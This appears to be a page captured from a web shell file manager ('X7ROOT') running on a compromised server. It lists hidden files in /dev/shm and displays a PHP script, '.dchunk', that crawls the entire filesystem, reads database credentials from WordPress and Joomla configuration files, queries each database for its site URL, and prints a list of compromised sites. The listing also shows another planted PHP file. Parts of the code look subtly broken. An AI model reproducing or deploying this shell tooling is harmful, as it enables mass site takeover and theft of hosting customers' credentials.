X7ROOT File Manager
Current Path:
/dev/shm
dev
/
shm
/
📁
..
📄
.bind
(10.24 KB)
📄
.binding
(6.53 KB)
📄
.comp
(52 B)
📄
.component
(48 B)
📄
.dat
(50 B)
📄
.data
(1.06 KB)
📄
.data_chunk
(57 B)
📄
.dchunk
(3.03 KB)
📄
.desc
(57 B)
📄
.descriptor
(57 B)
📄
.elem
(54 B)
📄
.element
(1.25 KB)
📄
.ent
(49 B)
📄
.entity
(1.22 KB)
📄
.entry
(3.03 KB)
📄
.fac
(51 B)
📄
.factor
(55 B)
📄
.flg
(1.28 KB)
📄
.holder
(576 B)
📄
.item
(54 B)
📄
.itm
(58 B)
📄
.k
(63 B)
📄
.key
(2.54 KB)
📄
.marker
(56 B)
📄
.mrk
(95 B)
📄
.obj
(52 B)
📄
.object
(50 B)
📄
.parameter_group
(49 B)
📄
.pgrp
(47 B)
📄
.pointer
(46 B)
📄
.pset
(61 B)
📄
.ptr
(51 B)
📄
.rec
(61 B)
📄
.record
(925 B)
📄
.ref
(62 B)
📄
.reference
(95 B)
📄
.res
(46 B)
📄
.resource
(58 B)
📄
.sym
(5.86 KB)
📄
.symbol
(784 B)
📄
.systemd-journald_1768737626
(9.04 KB)
📄
.tkn
(53 B)
📄
.token
(8.38 KB)
📄
.value
(55 B)
📄
PostgreSQL.269417394
(14.64 KB)
📄
alfah.php
(2.71 KB)
📁
lsws
Editing: .dchunk
<?php $r = "/"; function is_valid_domain($domain) { if (!substr_count($domain, '.')) { return false; } if (stripos($domain, 'http://') === 0) { $domain = substr($domain, 7); $schema = 'http://'; } elseif (stripos($domain, 'https://') === 0) { $domain = substr($domain, 8); $schema = 'https://'; } else $schema = 'http://'; if (stripos($domain, 'www.') === 0) { $domain = substr($domain, 4); } if (stripos($domain, '/') !== false) { $split = explode($domain, '/', 1); $domain = $split[0]; } $again = $schema . $domain; return filter_var($again, FILTER_VALIDATE_URL); } function parse_define_value($line) { preg_match("/define\(.*'(.*)'\);/", $line, $matches); return isset($matches[1]) ? $matches[1] : null; } function scan_wp($p) { $data = file_get_contents($p); $pattern = "/table_prefix\s*=\s*'([^']*)';/i"; if (preg_match($pattern, $data, $matches)) { $table_prefix = $matches[1]; } else { $table_prefix = 'wp_'; } $lines = array_map('rtrim', file($p)); $conf = []; foreach ($lines as $line) { if (preg_match('/define\(\'(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\'/', $line, $matches)) { $conf[$matches[1]] = parse_define_value($line); } } $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']); if (!$mysqli->connect_errno) { if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) { $row = $result->fetch_object(); $result->close(); $p = dirname($p); $d = is_valid_domain($row->option_value); if ($d) { print "<f>{$p}@@@{$d}@@@wp@@@{$p}</f>\n"; } } $mysqli->close(); } } function scan_joomla($p) { $c = file_get_contents($p); preg_match("/live_site = '(.*?)';/", $c, $m); if (isset($m[1])) { $p = dirname($p); $d = is_valid_domain($m[1]); if ($d) { print "<f>{$p}@@@{$d}@@@joomla@@@{$p}</f>\n"; } } } function scan($path) { $existed = ["any.gfects.com"]; if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { if ($p == '/') { $p = $path . $file; } else { $p = $path . '/' . $file; } if ($file != '.' && $file != '..') { $found = false; foreach ($existed as $domain) { if (strstr($p, $domain)) { $found = true; break; } } if ($found) { continue; } if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p); } elseif ($file == 'wp-config.php') { scan_wp($p); } elseif ($file == 'configuration.php') { scan_joomla($p); } } } } } scan($r); die('!ended!');
Upload File
Create Folder